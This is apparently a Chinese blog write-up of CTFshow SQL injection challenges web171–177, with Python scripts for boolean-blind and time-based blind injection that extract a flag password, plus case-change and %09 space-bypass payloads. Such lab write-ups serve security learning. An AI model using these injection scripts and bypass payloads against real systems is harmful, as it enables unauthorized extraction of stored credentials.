CTFSHOW刷题之旅--SQL注入[171-253](未完)
2023-06-13 09:18:22 时间
挖洞可能要暂告一段时间了。从20年到现在22年初我在些漏洞平台获得的一些奖励啥的已经放到了关于本站有兴趣的同学可以蛮看一下
web171
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
由sql查询语句可知,这里是由单引号包围的字符型注入.有一点奇怪的地方是,这里select的字段为2个(且没有select id值下方不可能存在id的结果)。按理order by出来应为字段数为2.估计是出题人展示错了sql查询语句。
查看下回显处,这里三个字段都有回显随便挑一个查询完事(这里不多说了很基础的东西,具体想看的翻我前面sqli靶场文章)
web172
嗯,第二题就是俩列了。估计上面的查询语句只是用作参考的。
web173
web174
这题将返回数据中含有数字的返回给过滤了。所以我们可以用盲注来获取flag。脚本如下
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
@File : web174time.py
@Author: YanXia
@Date : 2022/3/6 18:00
@email : yx535@qq.com
@link:https://535yx.cn
'''
import requests
headers = {'content-type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0'}
dict="qazwsxedcrfvtgbyhnujmikolp123456789{}-"
url="http://03214b84-c02b-4c00-8760-fe70aef13270.challenge.ctf.show/api/v4.php"
flag=""
for i in range(1,100):
for s in dict:
payload = "?id=1' and if(substr((select password from ctfshow_user4 where username=\"flag\"),%d,1)=\"%s\",1,0)--+"%(i,s)
r=requests.get(url+payload,headers=headers)
if 'admin' in r.text:
flag+=s
print(flag)
web175
这题直接将ASCII码0-127的字符都禁止返回了。所以上题的布尔盲注方法就不可以用了。我们可以用时间盲注的方法来做
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
@File : web175.py
@Author: YanXia
@Date : 2022/3/6 18:59
@email : yx535@qq.com
@link:https://535yx.cn
'''
import requests,time
headers = {'content-type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0'}
dict="qazwsxedcrfvtgbyhnujmikolp123456789{}-"
url="http://02088699-eacd-43e1-acf7-e5baafeabdf3.challenge.ctf.show/api/v5.php"
flag=""
for i in range(1,100):
for s in dict:
payload = "?id=1' and if(substr((select password from ctfshow_user5 where username=\"flag\"),%d,1)=\"%s\",sleep(5),0)--+"%(i,s)
start = time.time()
r=requests.get(url+payload,headers=headers)
end = time.time()
if end-start >4.5:
flag+=s
print(flag)
web176
这题开始就有过滤了。下图发现被ban了
经过测试,只是select被过滤。可以利用大小写绕过
最后得到
web177
这里过滤了空格,我们可以用%09来代替空格
payload:-1'%09union%09select%091,2,password%09from%09ctfshow_user--%09
相关文章
- mp自定义sql注入
- Dll注入的问题
- sqli-labs Lesson-1 字符型注入
- Spring框架:第二章:IOC依赖注入及40个实验
- DVWA漏洞演练平台 - SQL注入
- 【Android 插件化】“ 插桩式 “ 插件化框架 ( 注入上下文的使用 )
- SQL开发知识:一个简单的sql注入
- MySQL轻松实现快速导入SQL文件(mysql快速导入sql文件)
- MySQL查询功能:学会使用SQL语句(mysql查询sql语句)
- 防止SQL注入:MySQL安全使用函数(mysql防注入函数)
- MySQL如何有效防止SQL注入攻击?(mysql防sql注入)
- 深度挖掘MSSQL:从SQL手工注入谈开始(sql手工注入mssql)
- SQL和MSSQL:异曲同工的数据库系统(sql和mssql的区别)
- 如何排查慢的 Oracle SQL?(oracle慢的sql)
- Oracle SQL中外键的使用与重要性(oracle sql外键)
- PHP技术防止MSSQL注入风险(php防止mssql注入)
- Oracle数据库:高效追踪SQL语句的工具分享(oracle跟踪sql工具)
- 语句MSSQL助力生成高效SQL语句(mssql生成sql)
- 深入探讨MySQL中上下级SQL语句的实现方法(mysql 上下级sql)
- 利用Oracle下的SQL挖掘智慧(oracle下的sql)
- Oracle SQL题库丰富您的编程技能(oracle sql题库)
- 全面认识ASP注入技巧
- PHP中防止SQL注入实现代码